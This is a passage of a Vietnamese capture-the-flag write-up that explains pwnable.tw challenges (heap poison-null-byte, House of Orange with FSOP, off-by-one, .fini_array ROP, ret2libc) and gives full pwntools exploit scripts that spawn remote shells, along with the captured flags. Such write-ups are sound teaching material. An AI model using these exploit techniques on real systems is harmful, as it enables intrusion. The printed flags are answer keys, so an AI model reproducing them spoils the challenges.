add(0xf0,b'bbbb',b'bbbb') #idx=10 #4510 
add(0x100,b'cccc',b'a')   #idx=11 #4610
add(0x80,b'cccc',b'cccc') #idx=12 #4720
add(0x80,b'cccc',b'cccc') #idx=13 #47b0

delete(9) #fastbin 0x50
delete(10) #ubin
delete(11) #consolidate to 0x210 (0xf0 + 0x10 + 0x100 + 0x10)

add(0x48,b'AAAA',b'\0'*0x48) #poison_null #idx=9 #44c0
#after poison, chunk 4510 will have fake size 0x200
#from now chunks which is behind 4510 will be stupid :)))
  • khi poison xong, ta sẽ add() thêm vài chunk để consolidate chunk bị poisoned
add(0x80,b'BBBB',b'11111111') #idx=10 #4510 #0x200-0x80-0x10=0x170
add(0xf8,b'BBBB',b'22222222') #idx=11 #45a0 #0x170-0xf8-0x8=0x70
  • Khi ta delete(10)delete(12), malloc sẽ nhầm chunk 11 đã được freed (not in use) nên sẽ gộp chunk 10 11 12 thành một
delete(10) #free10 ---> ubin 0x90 -> 0x70
delete(12) #free poison_fake_chunk #not display on heap #prev_size is 0x210
#consolidate to 0x210 + 0x90 = 0x2a0 -> 0x70delete(10)
delete(12)

idx12 check prev_size là 0x210 , free sẽ lấy 4720 - 210 = 4510 (idx10)
>consolidate

  • như vậy ta đã có thể ow chunk 11 bằng chunk 10
  • ow size chunk 11 để khi free nó vào fastbin
payload = flat(
    b'a'*0x80, #4510
    0,0x71, #4590 #4598 : fake size idx11
    b'b'*0x60, #45a0 --> ow idx11
    0) #4600

add(0xf8,b'DDDD',payload) #idx=10 #4510 poison_null again!!!
#fake bit in use, next malloc will use this addr in ubin
add(0x50,b'BBBB',b'22222222') #idx=12 #4610

delete(11) #free11 ---> fastbin 0x70
delete(10) #free10 #fd=4660

ban đầu 0xf8 + 0x8 là 0x101 bây giờ là 0x71

45a0 là idx11 (sau khi delete(11) )

  • tiếp tục delete(10) để sửa fd idx11 cho lần malloc lại idx10 cùng size
  • add() lúc này để truyền fake_chunk vào đúng vị trí idx11

  • ow fd rồi malloc ra để lấy chunk 45a0 ra còn fake_chunk trong fastbin

malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 35

payload = b'a'*0x80 #41b0
payload += p64(0) + p64(0x71)
payload += p64(fake_chunk) #4210

add(0xf8,b'DDDD',payload)

vì sao lại malloc_hook - 35 ?
để ta cần 1 cái fake size khác 0 (cụ thể là size 0x71)


do bật NOASLR nên size nó bị ngu (0x15)
nhưng thực tế là size 0x7f (convert thành 0x71 trong fastbin)
và malloc_hook nó nằm ở khoảng 3b10
thì khi mình bắt đầu malloc từ đó padding cho tới malloc_hook rồi chèn one_gadget

  • lần add() tiếp theo sẽ lấy fake chunk ra
  • ow malloc_hook, vì khi có lỗi (Aborted), sẽ call malloc_hook

payload = b'a'*0x80 #4510
payload += p64(0) + p64(0x71) #4590 #4598
payload += p64(fake_chunk) #45a0

add(0xf8,b'DDDD',payload) #idx=10 #4510
add(0x68,b'FFFF',b'a') #idx=11 #45a0 
#just take normal chunk out of fastbin
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

#next malloc will call fake_addr
add(0x68,b'EEEE',b'A'*19+p64(libc.address + one_gadget[2]))

trên local nếu còn bật NOASLR thì bị báo lỗi
mục tiêu bỏ NOASLR mà k lỗi, nhưng vẫn cần thông báo Arboted để trigger malloc_hook
siêng thì debug tắt NOASLR rồi ni từng cái =)))))

lúc này siêng nên ni từng cái
tại malloc_hook đã có one_gadget

  • thế giả sử chạy script bên ngoài (có ALSR) thì không có xuất hiện lỗi Aborted, vậy thì ta sẽ khiến cho nó có bằng cách trigger lỗi DBF
delete(2) #4160
delete(5) #4160 #trigger DBF #get_shell!!!
  • tại idx 2:

  • tại idx 5:

  • cùng 1 con trỏ, delete() thì nó ra sao ?

lúc này nó lại tiếp tục free cùng 1 con trỏ đã free ( delete(2) )

  • local muốn có shell thì tắt tham số 'NOASLR' nha

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./secret_of_my_heart_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)

def GDB(): #turn on NOALSR
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                #b*__libc_start_main+238
                #b*0x5555554011ac
                #b*0x555555400e20
                ni
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw',10302)
else:
        p = process(exe.path)

GDB()

def add(size,name,secret):
        sla(b'choice :',b'1')
        sla(b':', str(size))
        sa(b':', name)
        sa(b':',secret)

def show(idx):
        sla(b'choice :',b'2')
        sla(b'Index :',str(idx))

def delete(idx):
        sla(b'choice :',b'3')
        sla(b'Index :',str(idx))

def hidden():
        sla(b'choice :',b'4869')

add(0x60,b'A'*0x20,b'aaaa') #idx=0
show(0)
p.recvuntil(b'A'*0x20)
heap = u64(p.recv(6) + b'\0\0')
info('heap leak: ' + hex(heap))
delete(0) #free0

add(0x68,b'aaaa',b'aaaa') #idx=0 #a
add(0x100,b'bbbb',b'bbbb') #idx=1 #b

add(0x100,b'eeee',b'eeee') #idx=2 #c
add(0x100,b'cccc',b'cccc') #idx=3 #barier dissappear in chunks
add(0x100,b'dddd',b'dddd') #idx=4 #advoid consolidate with top_chunk #still disappear

delete(1) #free1 #free_b #ubin 0x110
delete(2) #free2 #free_c #ubin consolidate 0x220
delete(0) #free0 #free_a #fastbin

add(0x68,b'BBBB',b'/bin/sh\0'.ljust(0x68,b'b')) #idx=0 #poison_null!!!
#size 0x111 placed idx2 was 4190
#need malloc total 0x100
#devided into 0xb0 0x10 0x10 (include metadata 0x10 * 3)
add(0xb0,b'CCCC',b'CCCC') #idx=1 #4080
add(0x10,b'DDDD',b'DDDD') #idx=2 #4140
add(0x10,b'EEEE',b'EEEE') #idx=5 #4160
add(0x80,b'FFFF',b'FFFF') #idx=6 #just avoid consolidate
delete(1) #free1
delete(3) #free3 #free_barrier #ubin consolidate 0x330
# this free will consolidate old_idx_3 42a0 which have prev_size is 0x220

# from now display idx4 in heap_chunk

#next malloc will contain main_area in chunk
add(0xd0,b'GGGG',b'GGGG') #size doesn't matter #idx=1
show(5) #leeking

p.recvuntil(b'Secret : ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))

delete(2) #free2

malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23

add(0x40,b'aaaa',p64(fake_chunk)) #idx=2 #4160
add(0xf0,b'bbbb',b'bbbb') #idx=3 #41b0
add(0xf0,b'cccc',b'cccc') #idx=7 #42b0
add(0x60,b'cccc',b'cccc') #idx=8 #43b0

add(0x40,b'aaaa',p64(fake_chunk)) #idx=9 #44c0
add(0xf0,b'bbbb',b'bbbb') #idx=10 #4510 
add(0x100,b'cccc',b'a')   #idx=11 #4610
add(0x80,b'cccc',b'cccc') #idx=12 #4720
add(0x80,b'cccc',b'cccc') #idx=13 #47b0

delete(9) #fastbin 0x50
delete(10) #ubin
delete(11) #consolidate to 0x210 (0xf0 + 0x10 + 0x100 + 0x10)

add(0x48,b'AAAA',b'\0'*0x48) #poison_null #idx=9 #44c0
#after poison, chunk 4510 will have fake size 0x200
#from now chunks which is behind 4510 will be stupid :)))
add(0x80,b'BBBB',b'11111111') #idx=10 #4510 #0x200-0x80-0x10=0x170
add(0xf8,b'BBBB',b'22222222') #idx=11 #45a0 #0x170-0xf8-0x8=0x70

delete(10) #free10 ---> ubin 0x90 -> 0x70
delete(12) #free poison_fake_chunk #not display on heap #prev_size is 0x210
#consolidate to 0x210 + 0x90 = 0x2a0 -> 0x70

payload = flat(
    b'a'*0x80, #4510
    0,0x71, #4590 #4598 : fake size idx11
    b'b'*0x60, #45a0 --> ow idx11
    0) #4600

add(0xf8,b'DDDD',payload) #idx=10 #4510 poison_null again!!!
#fake bit in use, next malloc will use this addr in ubin
add(0x50,b'BBBB',b'22222222') #idx=12 #4610

delete(11) #free11 ---> fastbin 0x70
delete(10) #free10 #fd=4660

payload = b'a'*0x80 #4510
payload += p64(0) + p64(0x71) #4590 #4598
payload += p64(fake_chunk) #45a0

add(0xf8,b'DDDD',payload) #idx=10 #4510
add(0x68,b'FFFF',b'a') #idx=11 #45a0 
#just take normal chunk out of fastbin
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]

#next malloc will call fake_addr
add(0x68,b'EEEE',b'A'*19+p64(libc.address + one_gadget[2]))
delete(2) #4160
delete(5) #4160 #trigger DBF #get_shell!!!

p.interactive()
#FLAG{It_just_4_s3cr3t_on_the_h34p}

FLAG{It_just_4_s3cr3t_on_the_h34p}


BookWriter [350 pts]

  • description:

I fixed some bug of memo from bkp CTF 2017 and modified some control flow, but it's still pwnable.

Can you pwn it again?

nc chall.pwnable.tw 10304

bookwriter

libc.so

  • check file + checksec

  • check ida (stripped nên renamed lại)

main()

author()
nhập tên author vào địa chỉ bss : 0x602060 (max size 0x40)

add()
thêm 1 page mới (tối đa 8 pages)
lưu pointer chunk tại 0x6020a0


size lưu tại 0x6020e0

view()
show content của page đó

edit()
chỉnh sửa content của page đó

show()
hiển thị tên author cùng số pages được tạo
và cho sự lựa chọn đổi tên author

analyse

leak heap

  • nhận thấy là nó lưu ptr chunk tại 0x6020a0,

  • trong khi author() nó nhập data từ 0x602060
    -> leak heap bằng cách ow full author từ 0x602060 đến 0x6020a0 (64 bytes = 0x40 hexa bytes)

lần show() tiếp theo sẽ in ra author kèm địa chỉ heap

overflow size

  • thêm một BUG nhỏ ở đây có thể overflow

cập nhật size khi edit()
ví dụ add(0x18) thì ở 0x6020e0 lưu 0x18
nhưng sau khi edit() thì từ 0x18 lên 0x1b
bởi nó strlen() từ nội dung chunk đến size của top_chunk mới dừng (dừng ở NULL bytes)
-> dẫn đến lần edit() tiếp theo nữa có thể ow size của top_chunk
===> House of Orange

BUG : House of Orange

leak libc

  • là 1 kỹ thuật có được 1 freed chunk block (nằm trong ubin) mà không cần hàm free()
  • khi đã sửa được size của top_chunk, lần request malloc tiếp theo sẽ đẩy old_top_chunk vào ubin
  • và malloc thì sẽ ghi lại chỗ fd và bk của old_top_chunk
  • ta cần ghi full 8 bytes đầu cho fd thì khi leak sẽ leak luôn bk đằng sau
  • view(1) sẽ có được thông tin main_area

FSOP

  • ở đây ta cần setup vtable để trigger malloc_printer có shell
  • theo như cách khai thác trên how2heap thì ta lưu ý những điểm sau
top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

FILE *fp = (FILE *) top;

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28

fp->_mode = 0; // top+0xc0

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
  • việc ta cần là setup như trên, nhưng thấy là khi setup đến //top+0xd8 thì quá lớn, nên dự định là sẽ add() 1 lượng chunk nhất định
  • sau đó edit(0) để sửa những chỗ mong muốn

tầm 7 chunks
ghi fake_size ngay 0x6020e0

edit() tiếp theo có thể overflow rất nhiều, thong thả luôn

setup FSOP

  • ta tính offset từ chunk idx0 đến new_top_chunk

padding 0x170

memcpy( ( char *) top, "/bin/sh\x00", 8);

  • tại đây sẽ là chuỗi '/bin/sh\0'

180 : '/bin/sh\0'

top[1] = 0x61;

  • tại đây sẽ là size 0x61
  • còn vì sao lại size 0x61 thì coi lại chú thích source trong how2heap

188 : 0x61

top[3] = io_list_all - 0x10;

  • tại đây gắn p64(io_list_all)

198 : p64(io_list_all)
còn top[2] (190) gắn cái gì cũng được (cho là 0xdeadbeef đi cho dễ nhận biết)

fp->_IO_write_base = (char *) 2; // top+0x20

  • nó là top[4] ấy

1a0 : p64(2)

fp->_IO_write_ptr = (char *) 3; // top+0x28

  • đây là top[5]

1a8 : p64(3)

fp->_mode = 0; // top+0xc0

  • đơn giản là .ljust(0xc0,b'\0') thôi

ở 240

size_t *jump_table = &top[12]; // controlled memory

  • setup vtable_addr là địa chỉ heap top[12]
  • thực ra không nhất thiết là top[12], vì chỉ cần chỗ đó là controlled memory là được

new_top_chunk là heap_base + 0x180

  • do nếu tính thử thì top[12] tới mỗi 1e0 thôi
    (do lười setup đoạn .ljust(0xd8,b'\0'))
  • nên là dời xuống 1 tẹo cho hết offset là 0xd8
  • bắt đầu ghi từ 260

chỉ cần ở đúng vị trí top+0xd8 là 1 heap_addr 
và heap_addr đó tiếp tục trỏ ở 1 vị trí heap_addr khác
và heap_addr khác là chuỗi p64(0)*3 + p64(system) là được

jump_table[3] = (size_t) &winner;

  • p64(0)*3 + p64(system)

*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

top+0xd8 là heap_addr 260 trỏ tiếp vị trí bên dưới rồi jump_table[3] là system

get flag

  • script: (hên xui trúng shell, chạy 2 3 lần là được)
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./bookwriter_patched', checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*0x400881
                b*0x4009f3
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10304)
else:
        p = process(exe.path)

GDB()

def author(name):
        sla(b'Author :',name)

def add(size,data):
        sla(b'choice :',b'1')
        sla(b'page :',str(size))
        sa(b'Content :',data)

def view(idx):
        sla(b'choice :',b'2')
        sla(b'page :',str(idx))

def edit(idx,data):
        sla(b'choice :',b'3')
        sla(b'page :',str(idx))
        sa(b'Content:',data)

def show():
        sla(b'choice :',b'4')


author(b'a'*60 + b'hlan') #ow full author

add(0x18,b'aaaa') #idx=0
edit(0,b'b'*0x18) #edit to trigger overflow from strlen
edit(0,b'\0'*0x18 + b'\xe1\x0f\x00') #ow size top_chunk

show()

p.recvuntil(b'hlan')
heap_leak = u64(p.recvline()[:-1].ljust(8,b'\0'))
heap_base = heap_leak - 0x10

info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))

sla('no:0) ','0') # not change author

add(0x78,b'a'*8) #idx=1
view(1)
p.recvuntil('a'*8)
libc_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\0'))
libc.address = libc_leak - 0x3c4188
system = libc.symbols['system']
io_list_all = libc.symbols['_IO_list_all']
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
info("IO_list_all: " + hex(io_list_all))

for i in range(7):
    add(0x18,b'bbbb')

padding = b'\0' * 0x170

payload = b'/bin/sh\0' + p64(0x61) #180 #188
payload += p64(0xdeadbeef) + p64(io_list_all - 0x10) #190 #198
payload += p64(2) + p64(3) #d1a0 #d1a8
payload = payload.ljust(0xc0,b'\x00') + p64(0) #238 #240
payload = payload.ljust(0xd8,b'\x00') #padding

vtable = p64(0)*3 + p64(system)

vtable_addr = heap_base + 0x180 + 0xe0 #260

payload += p64(vtable_addr) + vtable #258 #260

edit(0,padding + payload)

sla(b'Your choice :',b'1')
sla(b'Size of page :',b'20') #trigger malloc_printer

p.interactive()
#FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}

FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}


Silver Bullet [200 pts]

  • description:

Please kill the werewolf with silver bullet!

nc chall.pwnable.tw 10103

silver_bullet

libc.so

  • basic file check:

  • check ida

main()
sói và đạn có dạng struct

  • sói gồm : int power và char *name
  • đạn gồm : char name[0x30] và int power

menu()

create_bullet()
tạo 1 viên đạn name dài tối đa 0x30
set power của đạn là len(name) sau cái name (power = name+48)

power_up()
tăng sức mạnh vien đạn bằng cách nối dài chuỗi
NHƯNG không thể kéo dài name vượt quá 0x2f

beat()
bắn đùng đùng đùng píu píu píu
thắng sẽ return 1, còn lại thua hay không có đạn sẽ return 0

BUG

  • bug chính trong bài này có lẽ nằm ở hàm strncat()

thêm NULL byte vào cuối chuỗi


-> off_by_one

exploit

📝 power của bullet ở địa chỉ $ebp-0x4

  • nhìn kỹ vào hàm power_up(), nó sẽ check 1 đoạn nếu power lớn hơn 0x2f thì không thể tăng sức mạnh được (bằng 0x2f thì vãn có thể tăng tiếp)
  • nhưng giả sử ta tạo viên đạn 0x2f thì khi power_up() lên cũng chỉ ghi thêm số byte còn lại cho đủ 0x30 à (max ghi được là 0x30 - power)
  • thì làm sao hạ được con boss werewolf đây ? (power 0x7fffffff)
  • dựa vào bug off_by_one tạo bởi hàm strncat(), ta sẽ setup power về 1 bằng cách tạo đạn 0x2f, úp sức mạnh 0x1 và dựa vào bug thì có 0x30 cho name + 0x1 byte NULL -> set power về 1 ===> có thể tiếp tục power_up() lần sau
  • mẫu cho tạo đạn 0x2f (b'a'*0x2f), up 0x1(b'b'):

set power về thành 1

lúc này nó lại ghi tiếp từ power đạn trở đi

  • ở lần sau, ta hoàn toàn có thể ow ebp cho lần ghi đè power

leak libc

  • ta sẽ tận dụng libc đề bài cho để leak GOT của hàm puts()
  • thì lần power_up() tiếp theo sẽ là được ghi max 0x2f (do power lần này chỉ có 1)

  • đồng thời offset sẽ tính từ byte tiếp theo của power bullet (3 bytes cho power + 4 bytes padding ebp)
  • ta sẽ fake power lớn nhất có thể : 0xffffff.. (với 2 chấm '. .' là len(name) ta sửa)
  • và khi return điều ta cần là in dữ liệu ra, ta sẽ chọn puts@plt
  • sau đó lặp lại chương trình bằng exe.sym['main']
  • nhưng khi in dữ liệu bằng plt ta cần 1 địa chỉ libc bằng trong đó để in ra

lúc này sẽ lấy $ebp+0x8 làm con trỏ để in ra

  • nên sau cái lặp lại exe.sym['main'] đó sẽ là puts@got

$eip là puts@plt (khi return)
$ebp+0x4 là exe.sym['main']
$ebp+0x8 ta lấy puts@got là hợp lí nhất

system + b'/bin/sh\0'

  • code chỗ này ta sẽ lặp lại như cách leak libc
  • nhưng ở phần ow buffer, check ở hàm system

nó lấy $esp+0x10 làm con trỏ (trước đó nó sub esp, 0xc)
$eip là system
$esp+0x4 là padding
$esp+0x8 là '/bin/sh\0'

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./silver_bullet_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*read_input+14
                b*create_bullet+88
                b*power_up+176
                b*power_up+223
                b*beat+199
                b*main+196
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10103)
else:
        p = process(exe.path)

GDB()

def add(data):
	sla(b'choice :',b'1')
	sa(b'bullet :',data)

def up(data):
	sla(b'choice :',b'2')
	sa(b'bullet :',data)
def fight():
	sla(b'choice :',b'3')

pop_ebx = 0x08048475

add(b'a'*0x2f)
up(b'b')
payload = b'\xff\xff\xff' + b'cccc'
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])
up(payload)
fight()

p.recvuntil(b'win !!\n')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

add(b'a'*0x2f)
up(b'b')
payload = b'\xff\xff\xff' + b'cccc'
payload += p32(libc.sym['system'])
payload += p32(0xdeadbeef)
payload += p32(next(libc.search(b'/bin/sh\0')))
up(payload)
fight()

p.interactive()
#FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}

FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}


3x17 [150 pts]

  • description:

3 x 17 = ?

nc chall.pwnable.tw 10105

3x17

  • basic file check:

  • check ida (file stripped nên tìm hàm main hơi lỏ)

main()
nhập lần đầu là addr
nhập lần hai là content
có thể đây là chức năng ghi đè 1 địa chỉ thành 1 dữ liệu ta muốn

analyse

  • chạy thử file thì đúng như những gì hàm main() thực hiện
  • nhưng chạy xong là end chương trình luôn
  • nên BUG có thể nằm ở hàm huỷ -> tận dụng khả năng ghi đè để ow .fini_array thành hàm main() 1 lần nữa
    ===> lặp vô hạn
  • ngoài ra với khả năng trên, chả phải ta có thể ghi thoải mái dữ liệu vào rồi -> BOF thong thả
  • nhưng lặp quài phải có điểm dừng -> lấy shell bằng execve
  • hướng đi sẽ là ROPchain

setup loop main

  • vì file bị stripped nên không thể sử dụng exe.sym['main'] như bình thường
  • ta phải tự tìm địa chỉ thông qua ida

main = 0x401b6d

  • nhưng ida lỏ vcl không show tên hết được nên chuyển qua ghidra

fini_array = 0x4b40f0

  • coi qua hàm entry() trong ghidra

  • nhận xét:

tham số đầu là hàm 0x401b6d -> hàm main() đây
tham số kế cuối 0x4028d0:


là gọi hàm .init_array khi bắt đầu 1 chương trình
tham số cuối 0x402960:

thấy là sẽ gọi hàm 0x4b40f0 là .fini_array đấy
đặt tên cho 0x402960 là fini_array_call

  • vậy bây giờ ta sẽ ghi như thế này:
    addr = p64(fini_array)
    data = p64(fini_array_call) + p64(main)
  • như thế khi kết thúc chương trình sẽ nhảy vào fini_array và gọi hàm main() lại rồi cuối cùng quay lại fini_array_call một lần nữa fini_array
why and how?
  • sao không đặt main lên đầu?
  • bởi nếu đặt main lên đầu thì loop lại main nhưng không thể dừng program lại
  • ta phải đặt fini_array_call lên trước để set main trong fini_array

  • ngoài ra ở addr ta phải truyền dưới dạng str()

  • truyền bytes thì không thể lặp lại được 😑

-> trigger thành công loop lại hàm main()

setup ROPchain

  • thứ ta cần là khi lặp lại, cần có 1 địa chỉ return vào ROPchain
  • thì logical thinking là tận dụng chính địa chỉ fini_array luôn
  • chỉnh lại:
    addr = p64(fini_array + offset)
    data = p64(ROPchain)
  • offset đó ta phải tính toán, và cuối cùng muốn syscall execve, ta phải return vào chuỗi ROP của mình bằng gadget leave;ret

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./3x17',checksec=False)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10105)
else:
        p = process(exe.path)

pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
syscall = 0x00000000004022b4
leave_ret = 0x0000000000401c4b

main = 0x401b6d
fini_array = 0x4b40f0
fini_array_call = 0x402960 
offset = fini_array
binsh = offset + 11*8

def change(addr,data):
	p.sendafter(b'addr:',str(addr))
	p.sendafter(b'data:',data)

change(fini_array,p64(fini_array_call)+p64(main))

change(offset + 2*8, p64(pop_rdi) + p64(binsh))
change(offset + 4*8, p64(pop_rdx) + p64(0))
change(offset + 6*8, p64(pop_rsi) + p64(0))
change(offset + 8*8, p64(pop_rax) + p64(0x3b))
change(offset + 10*8, p64(syscall) + b'/bin/sh\0')
change(offset, p64(leave_ret))

p.interactive()
#FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}

FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}


dubblesort [200 pts]

  • description:

Sort the memory!

nc chall.pwnable.tw 10101

dubblesort

libc.so

  • basic file check

  • check ida (stripped nên sẽ renamed lại)

main()

sort()

analyse

  • chương trình sẽ cho ta nhập tên (size 0x40) vào, sau đó in ra và hỏi số 'số muốn sắp xếp'
  • nhưng ở đây lại có BUG

nhập mỗi 'a', tại sao lại in thêm những kí tự lạ đằng sau???

leak libc

  • tới đây nghi ngờ do hàm __printf_chk tương tự như printf (in đến khi gặp NULL bytes)
  • check trong gdb

dữ liệu bắt đầu từ $esi cf8c
cần đến cfa8
vì tại đó là địa chỉ của libc (0xf7c > 0xf7e)
tránh lấy địa chỉ trên vì bytes tiếp theo là NULL (dù nó cũng trong địa chỉ của libc)


offset leak = 0x1c
offset base = 0x1ae244

  • có được địa chỉ libc rồi tiếp theo ta phân tích đến BUG kế
  • NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG 🥲
  • trên server lại không leak được

  • thử tăng 1 byte lại leak được, nhưng như thế sẽ ghi đè 1 byte leak
  • việc ta cần sẽ trừ byte ow đó, ngoài ra còn cần trừ thêm offset nào đó nữa

  • nhìn thấy là ghi đè byte 'a' (0x61) mà 3 byte cuối lại là 061
  • nảy sinh nghi ngờ nó sẽ leak địa chỉ chẵn nào đó của libc trong vmmap
  • thì 1 hôm đẹp trời nhớ từng đọc 1 bài nào đó
  • nó như thế này
  • nếu leak ra ở libc ngay cuối của vmmap (như ở hình trên cd00) thì chỉ cần ta tính offset từ đó đến libc_base

  • hoặc dùng lệnh readelf -S

mà nếu không biết thì cứ thử trừ từng offset của địa chỉ chẵn trong đó là được =)))))))))))

canary?

  • ở đây num_array được khai báo là mảng 8, nhưng num nhập vào lại không có check phải bé hơn 8 -> buffer overflow
  • vì có canary nên tính offset đến đó

num_array là esp+0x1c
canary    là esp+0x7c
offset = 0x60 / 4 = 24 (do là file 32 bits nên chia 4)
25 chính là ow canary
  • check:

từ 0 đến 23 là bình thường
nhưng đến số 24 sẽ ow canary là số 2 ===> báo 'stack smashing detected' là chuẩn bài

  • nhưng ow canary là 1 byte không phải số thì bypass được
  • ở đây thử b'a' thì không được, có lẽ hình như quy tắc ở đây là những số sau canary phải lớn hơn chính nó (do hàm sort())
  • với byte '-' và '+' thì bypass được lượng số lớn như systembinsh

ret2libc

  • đơn giản vì NX bật, không có hàm win mà lại có BOF ===> ret2libc thôi

sau khi qua ải canary là tới lea esp,[ebp-0xc] rồi 1 đống pop rồi mới return
tính nè:
25 là canary
lea esp,[ebp-0xc] : 0xc / 4 = 3
26 -.
27   > bypass
28 -'
29 sau khi lea esp,[ebp-0xc] đây là esp
29 pop ebx
30 pop esi
31 pop edi
32 pop ebp
33 ret -> system
34 binsh
35 binsh
  • vậy ta cần padding system vừa đủ rồi sau đó mới binsh
    (vì do hàm sort()binsh > system)
  • đếm được từ 26 đến 33 là ret -> system được 8 lần system (hết 7 lần padding)
  • khi tới system ta phải thêm 2 lần binsh vì trong đó còn mov các thể loại

sub esp,0xc
mov eax,[esp+0x10]
tức là sau khi vào hàm system, esp hiện tại là binsh, lùi 12 tăng 16 rồi đưa địa chỉ ngay đó vào $eax
ta phải thêm 1 lần binsh ($esp+0x4)

get flag

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./dubblesort_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+85
                b*main+111
                b*main+333
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('chall.pwnable.tw', 10101)
else:
        p = process(exe.path)

GDB()

if args.REMOTE:
        sa(b'name :',b'a'*0x1d)
        p.recvuntil(b'a'*0x1d)
        libc_leak = u32(b'a' + p.recv(3))
        libc.address = libc_leak - 0x61 - 0x1b0000
        info('libc leak: ' + hex(libc_leak))
        info('libc base: ' + hex(libc.address))
else:
        sa(b'name :',b'a'*0x1c)
        p.recvuntil(b'a'*0x1c)
        libc_leak = u32(p.recv(4))
        libc.address = libc_leak - 0x1ae244
        info('libc leak: ' + hex(libc_leak))
        info('libc base: ' + hex(libc.address))


system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\0'))
info("system: " + hex(system))
info("binsh: " + hex(binsh))

sla(b'sort :',b'35')

for i in range(24):
        sla(b'number : ',b'1')

sla(b'number : ',b'+')

for i in range(8):
        sla(b'number : ',str(system))

sla(b'number : ',str(binsh))
sla(b'number : ',str(binsh))

p.interactive()
#FLAG{Dubo_duBo_dub0_s0rttttttt}

FLAG{Dubo_duBo_dub0_s0rttttttt}


applestore [200 pts]

  • description:

tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!

nc chall.pwnable.tw 10104

applestore

libc.so

  • basic file check

  • check ida

main()

menu()

handler()

list()

add()
thực hiện 2 hàm create()insert()

create()
tạo 1 chunk 0x10 size 0x20 trả về 1 con trỏ ptr
gắn giá tiền sản phẩm ở ptr[1]
ptr[2]ptr[3] gắn 0

insert()
thêm vào gió hàng theo kiểu fd và bk (double link-list)
vòng for để chạy đến cuối giỏ hàng
i[2] = ptr (fd)
*(ptr+12) = i (bk)

delete()
xoá sản phầm bằng phép gán bình thường
xoá fd và bk của sản phẩm đó
===> không có hàm free

cart()
tính tổng tiền trong giỏ hàng

checkout()
nếu tổng giá trị giỏ hàng đúng bằng 7174
nhận được iPhone 8 với giá 1$
tự động thêm vào giỏ hàng và tăng tổng giá trị tiền hàng lên 7175

analyse

  • từ ida, ta có thể đưa ra nhận xét về cấu trúc khi add() 1 sản phẩm
struct product{
    char *name;
    int price;
    product *fd;
    product *bk;
}
    1. hàm delete() không có free nên hoàn toàn không thể khai thác DBF hoặc UAF
    1. trong hàm checkout() lại không có hàm create() để tạo heap, dùng trực tiếp insert() để gán fd và bk

==> data nằm trên stack
===> control được dữ liệu

    1. đối chiếu biến trên stack

checkout()

delete()

